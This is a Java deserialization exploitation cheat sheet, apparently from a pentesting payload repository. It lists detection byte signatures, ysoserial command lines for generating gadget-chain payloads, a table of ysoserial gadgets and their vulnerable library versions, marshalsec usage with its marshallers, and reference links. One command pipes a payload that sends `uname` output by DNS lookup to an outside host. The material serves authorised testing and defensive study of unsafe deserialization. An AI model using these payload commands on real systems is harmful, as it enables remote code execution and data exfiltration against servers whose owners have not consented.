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6.6 KiB
6.6 KiB
Java Deserialization
Detection
- "AC ED 00 05" in Hex
- "rO0" in Base64
- Content-type = "application/x-java-serialized-object"
- "H4sIAAAAAAAAAJ" in gzip(base64)
Exploit
ysoserial : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
payload | author | dependencies | impact (if not RCE) |
---|---|---|---|
BeanShell1 | @pwntester, @cschneider4711 | bsh:2.0b5 | |
C3P0 | @mbechler | c3p0:0.9.5.2, mchange-commons-java:0.2.11 | |
Clojure | @JackOfMostTrades | clojure:1.8.0 | |
CommonsBeanutils1 | @frohoff | commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 | |
CommonsCollections1 | @frohoff | commons-collections:3.1 | |
CommonsCollections2 | @frohoff | commons-collections4:4.0 | |
CommonsCollections3 | @frohoff | commons-collections:3.1 | |
CommonsCollections4 | @frohoff | commons-collections4:4.0 | |
CommonsCollections5 | @matthias_kaiser, @jasinner | commons-collections:3.1 | |
CommonsCollections6 | @matthias_kaiser | commons-collections:3.1 | |
FileUpload1 | @mbechler | commons-fileupload:1.3.1, commons-io:2.4 | file uploading |
Groovy1 | @frohoff | groovy:2.3.9 | |
Hibernate1 | @mbechler | ||
Hibernate2 | @mbechler | ||
JBossInterceptors1 | @matthias_kaiser | javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 | |
JRMPClient | @mbechler | ||
JRMPListener | @mbechler | ||
JSON1 | @mbechler | json-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 | |
JavassistWeld1 | @matthias_kaiser | javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 | |
Jdk7u21 | @frohoff | ||
Jython1 | @pwntester, @cschneider4711 | jython-standalone:2.5.2 | |
MozillaRhino1 | @matthias_kaiser | js:1.7R2 | |
Myfaces1 | @mbechler | ||
Myfaces2 | @mbechler | ||
ROME | @mbechler | rome:1.0 | |
Spring1 | @frohoff | spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE | |
Spring2 | @mbechler | spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 | |
URLDNS | @gebl | jre only vuln detect | |
Wicket1 | @jacob-baines | wicket-util:6.23.0, slf4j-api:1.6.4 |
Burp extensions using ysoserial
Other tools
- JRE8u20_RCE_Gadget
- JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
- ysoserial-modified
- gadgetprobe
- marshalsec - Turning your data into code execution
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
where
-a - generates/tests all payloads for that marshaller
-t - runs in test mode, unmarshalling the generated payloads after generating them.
-v - verbose mode, e.g. also shows the generated payload in test mode.
gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
arguments - Gadget specific arguments
Payload generators for the following marshallers are included:
Marshaller | Gadget Impact |
---|---|
BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization various third party libraries RCEs |
Hessian|Burlap | various third party RCEs |
Castor | dependency library RCE |
Jackson | possible JDK only RCE, various third party RCEs |
Java | yet another third party RCE |
JsonIO | JDK only RCE |
JYAML | JDK only RCE |
Kryo | third party RCEs |
KryoAltStrategy | JDK only RCE |
Red5AMF(0|3) | JDK only RCE |
SnakeYAML | JDK only RCEs |
XStream | JDK only RCEs |
YAMLBeans | third party RCE |
References
- Github - ysoserial
- Java-Deserialization-Cheat-Sheet - GrrrDog
- Understanding & practicing java deserialization exploits
- How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil
- Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli
- Jackson CVE-2019-12384: anatomy of a vulnerability class
- On Jackson CVEs: Don’t Panic — Here is what you need to know
- Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin / @artsploit - 29 June 2021